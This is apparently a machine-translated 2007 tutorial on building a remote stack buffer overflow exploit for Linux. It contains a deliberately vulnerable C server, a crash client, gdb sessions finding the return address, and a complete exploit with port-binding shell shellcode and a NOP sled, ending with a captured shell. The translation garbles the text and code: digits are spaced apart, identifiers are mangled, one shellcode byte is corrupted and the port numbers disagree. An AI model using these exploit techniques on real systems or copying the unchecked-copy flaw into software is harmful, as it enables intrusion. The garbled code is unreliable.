How to write a remote overflow EXPLOIT Linux-vulnerability warning-the black bar safety net

2007-08-15T00:00:00
ID MYHACK58:62200716546
Type myhack58
Reporter 佚名
Modified 2007-08-15T00:00:00

Description

Translator's note: presumably a lot of Friends of buffer overflow very much aware, the Internet also has a lot about the windows buffer overflow exploits tutorial I also wrote several articles on. But under linux the complete overflow tutorials I haven't seen maybe is my eye clumsy. Today in foreign countries a forum to find this article, feel this is a very nice basic tutorial, so decided to translate it out for everyone to appreciate, their own can be considered a workout English translation of it: -) (in fact I was looking at the complete article, according to their own understanding of writing, almost a bit of translation are not

Translations: Read this article before, I'm assuming everyone will be using c to write some basic socket program and the local overflow. OK! We are the first to write a vulnerable server program, The code is as follows:

include <stdio. h>

include <netdb. h>

include <netinet/in. h>

define BUFFER_SIZE 1 0 2 4

define NAME_SIZE 2 0 4 8

int handling(int c)

{ char buffer[BUFFER_SIZE], name[NAME_SIZE]; int bytes; strcpy(buffer, "My name is: "); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; bytes = recv(c, name, sizeof(name), 0); if (bytes == -1) return -1; name[bytes - 1] = '\0'; sprintf(buffer, "Hello %s, nice to meet you!\ r\n", name);//do not do bounds checking on the direct name of an array copy to buffer array bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; return 0;

}

int main(int argc, char *argv[])

{ int s, c, cli_size; struct sockaddr_in srv, cli; if (argc != 2) { fprintf(stderr, "usage: %s port\n", argv[0]); return 1; } s = socket(AF_INET, SOCK_STREAM, 0); if (s == -1) { perror("socket() failed"); return 2; } srv. sin_addr. server_address = INADDR_ANY; srv. sin_port = htons( (unsigned short int) atol(argv[1])); srv. sin_family = AF_INET; if (bind(s, &srv, sizeof(srv)) == -1) { perror("bind() failed"); return 3; } if (listen(s, 3) == -1) { perror("listen() failed"); return 4; } for(;;) { c = accept(s, &cli, &cli_size); if (c == -1) { perror("accept() failed"); return 5; } printf("client from %s", inet_ntoa(cli. sin_addr)); if (handling(c) == -1) fprintf(stderr, "%s: handling() failed", argv[0]); close(c); } return 0;

}

The program is very simple, from the command line to get the port parameter, then the specified port monitor connection. The following compile and call this procedure:

user@linux:~/ > gcc vulnerable. c-o vulnerable

user@linux:~/ > ./ vulnerable 8 0 8 0

Below I want to check this program some address, see how it is constructed. We use gdb to debug:

user@linux~/ > gdb vulnerable

GNU gdb 4.18

Copyright 1 9 9 8 The Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-suse-linux"...

(gdb) run 8 0 8 0

Starting program: /home/user/directory/vulnerable 8 0 8 0

Now the program has been obediently in the 8 0 8 0 port the monitor is connected, then we use telnet or netcat to connect 8 0 8 0 port look:

user@linux:~/ > telnet localhost 8 0 8 0

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

My name is: Robin

, nice to meet you!

Connection closed by foreign host.

user@linux:~/ >

This simple service end of the program simply get the name and then the name echoed to the screen, let's continue!

As above after the operation, the gdb Debugger window will have the following information output:

client from 127.0.0.1 0xbffff28c

/Don't because this address on your machine is different and feel confused, because on my machine is this address: 0xbffff28c /

Let's start testing it, re-telnet to the 8 0 8 0 port and then in the"My name is:..."prompt after the input exceeds 1 0 2 4-byte characters:

user@linux:~/ > telnet localhost 8 0 8 0

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

My name is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Then you will find that the connection is interrupted! Let's look at the gdb output:

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

// Don't close gdb

As we can see, the eip value is set into 0x41414141, perhaps you will ask why? Let me try to explain it: When we input more than 1 0 2 4-byte characters, the program will try to the name[2 0 4 8]is copied to buffer[1 0 2 4] the translator's note: the note above of the original program, I raise the release of that row, in this case due to the name[2 0 4 8]than buffer[1 0 2 4]A 1 0 2 4 bytes, so more of those bytes will be overwritten to the buffer[1 0 2 4]other than the buffer, including the saved eip value, which is the function call is pushed onto the stack the return address of our buffer will be like this:

[xxxxxxxx-name-2 0 4 8-bytes-xxxxxxxxxx]

[xxxxx buffer-only-1 0 2 4-bytes xxx] [EIP]

// Don't forget, the eip is 4 bytes of value When the function returns, the stack will be the previously saved eip value is popped into the eip register and jump to this address to continue. However, since we have the saved eip overwrite into 0x41414141, so the program will jump to a wrong address causing a“segmentation fault”error.

Here, we can write out the vulnerability of D. O. S version of the use of the program:

include <stdio. h>

include <netinet/in. h>

include <sys/socket. h>

include <sys/types. h>

include <netdb. h>

int main(int argc, char **argv)

{

struct sockaddr_in addr;

struct hostent *host;

char buffer[2 0 4 8];

int s, i;

if(argc != 3)

{

fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);

exit(0);

}

s = socket(AF_INET, SOCK_STREAM, 0);

if(s == -1)

{

perror("socket() failed\n");

exit(0);

}

host = gethostbyname(argv[1]);

if( host == NULL)

{

herror("gethostbyname() failed");

exit(0);

}

addr. sin_addr = (struct in_addr)host->h_addr;

addr. sin_family = AF_INET;

addr. sin_port = htons(atol(argv[2]));

if(connect(s, &addr, sizeof(addr)) == -1)

{

perror("couldn't connect so server\n");

exit(0);

}

/ Not difficult only filling buffer with A's.... den sending nothing more /

for(i = 0; i < 2 0 4 8 ; i++)

buffer[i] = 'A';

printf("buffer is: %s\n", buffer);

printf("buffer filled... now sending buffer\n");

send(s, buffer, strlen(buffer), 0);

printf("buffer sent.\ n");

close(s);

return 0;

} In order to further exploit this vulnerability, we need to find out the return address location. Let's look at how to use gdb to find return address of the location:

Then the above gdb debugging window, I hope you didn't turn it off, the input: x200bx $esp-2 0 0 to obtain the following results:

(gdb) x/200bx $esp-2 0 0

0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

---Type <return> to continue, or q <return> to quit--- We know that we have covered the entire buffer, then we pick out a address as a return address for a while and then tell you why to do so, and in fact this address is a guess. Maybe you know the NOP's skills, this skill can make our exploit work better, also can make us easier to guess the return address. Note that it is not from near the end of the 0x41 that line near the Pick, to be from the middle of the pick so we'll have to use the NOPS to cover it, we here pick is 0xbffff5ec this address.

Translator's Note: This local author and there is no good explanation why to do so. In fact, the reason is very simple, just take 0xbffff5ec this address, the author will be the address of the start of the buffer coverage for the NOPS(NOPS slider, and then again in the configuration of the buffer of the last to 0xbffff5ec cover a piece of the buffer, then there will certainly be a 0xbffff5ec coverage to the eip, then when the function returns it will jump to the 0xbffff5ec at the execution, and this place is a NOP instruction, and therefore will follow the NOPS of the slider“slide”to our shellcode. The structure of the buffer area as follows:

|NOPS|NOPS|NOPS|......| shellcode|RET|RET|......| RET|

Well we can take our pick out of this the return address, although this address is not necessarily accurate to construct our exploit code:

1. Looking for a active connection type of the shellcode is now now on the network no shortage of shellcode in.

  1. Statement A is greater than 1 0 2 4 bytes of the new buffer, such as 1 0 6 4 bytes, as long as the cover to the eip.

3. Use a NOP to fill the buffer: memset(buffer, 0x90, 1 0 6 4);

4. Copy the shellcode into a buffer: memcpy(buffer+1 0 0 1-sizeof(shellcode), shellcode, sizeof(shellcode));here we have the shellcode into the buffer of the intermediate position, why you want to do? If in the buffer the beginning of the section with enough NOP instruction is filled, then our shellcode to get executed the chances bigger.

5. buffer[1 0 0 0] = 0x90; // 0x90 is the NOP 1 6-ary form

6. Let's copy the returnaddress at the end of the buffer Copy the return address to the buffer at the end: for(i = 1 0 2 2; i < 1 0 5 9; i+=4)

{

((int *) &buffer) = RET;

// RET is the return address, use#define to define the

} We know that the buffer is 1 0 2 4 bytes the end, that we from the 1 0 2 2 start copying the return address has been copied to the 1 0 5 9 bytes of the position.

7. In our configuration of this buffer and finally to a'\0': buffer[1 0 6 3] = 0x0;

The buffer construction is complete, the following is sent to the vulnerability on the host. exploit code is as follows: /* Simple remote exploit, which binds a shell on port 3 7 8 9

  • by triton

  • After the return address was overwritten, you can connect

  • with telnet or netcat to the victim host on Port 3 7 8 9

  • After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)

  • So you should get an output, ok you've got a shell g. Always use:

  • <command>;

  • execute.

*/

include <stdio. h>

include <netdb. h>

include <netinet/in. h>

//Portbinding Shellcode

char shellcode[] =

"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"

"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"

"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"

"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"

"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"

"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"

"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"

"\x8d\x55\x0c\xcd\x80\xe8\the XE3\xff\xff\xff/bin/sh";

//standard offset (probably must be modified)

define RET 0xbffff5ec

int main(int argc, char *argv[]) {

char buffer[1 0 6 4];

int s, i, size;

struct sockaddr_in remote;

struct hostent *host;

if(argc != 3) {

printf("Usage: %s target-ip port\n", argv[0]);

return -1;

}

// filling buffer with NOPs

memset(buffer, 0x90, 1 0 6 4);

//copying shellcode into buffer

memcpy(buffer+1 0 0 1-sizeof(shellcode) , shellcode, sizeof(shellcode));

// the previous statement causes a unintential Nullbyte at buffer[1 0 0 0]

buffer[1 0 0 0] = 0x90;

// Copying the return address multiple times at the end of the buffer...

for(i=1 0 2 2; i < 1 0 5 9; i+=4) {

  • ((int *) &buffer[i]) = RET;

}

buffer[1 0 6 3] = 0x0;

//getting the hostname

host=gethostbyname(argv[1]);

if (host==NULL)

{

fprintf(stderr, "Unknown Host %s\n",argv[1]);

return -1;

}

// creating socket...

s = socket(AF_INET, SOCK_STREAM, 0);

if (s < 0)

{

fprintf(stderr, "Error: Socket\n");

return -1;

}

//state Protocolfamily , then converting the hostname or IP address, and getting port number

remote. sin_family = AF_INET;

remote. sin_addr = ((struct in_addr )host->h_addr);

remote. sin_port = htons(atoi(argv[2]));

// connecting with destination host

if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)

{

close(s);

fprintf(stderr, "Error: connect\n");

return -1;

}

//sending exploit string

size = send(s, buffer, sizeof(buffer), 0);

if (size==-1)

{

close(s);

fprintf(stderr, "sending data failed\n");

return -1;

}

// closing the socket

close(s);

}

Compile the test results are as follows:

user@linux~/ > gcc exploit. c –o exploit

user@linux~/ > ./ exploit <host> 3 8 7 9

If successful overflow, we will get a shell in the 3 8 7 9 port:

user@linux~/ > telnet <host> 3 8 7 9

id

uid=5 0 0(user) gid=5 0 0(user) groups=5 0 0(user)

As you can see, we did it!

Translator's note: the article to here even if complete, note that since the text of the exploit in the return address is hard-coded into it, so on a different machine is possible because of the different addresses and the overflow fail. So everyone needs their own hand with gdb debugging. This is the very basis of the overflow articles, later have the opportunity I'll make some deeper point of overflow articles and share.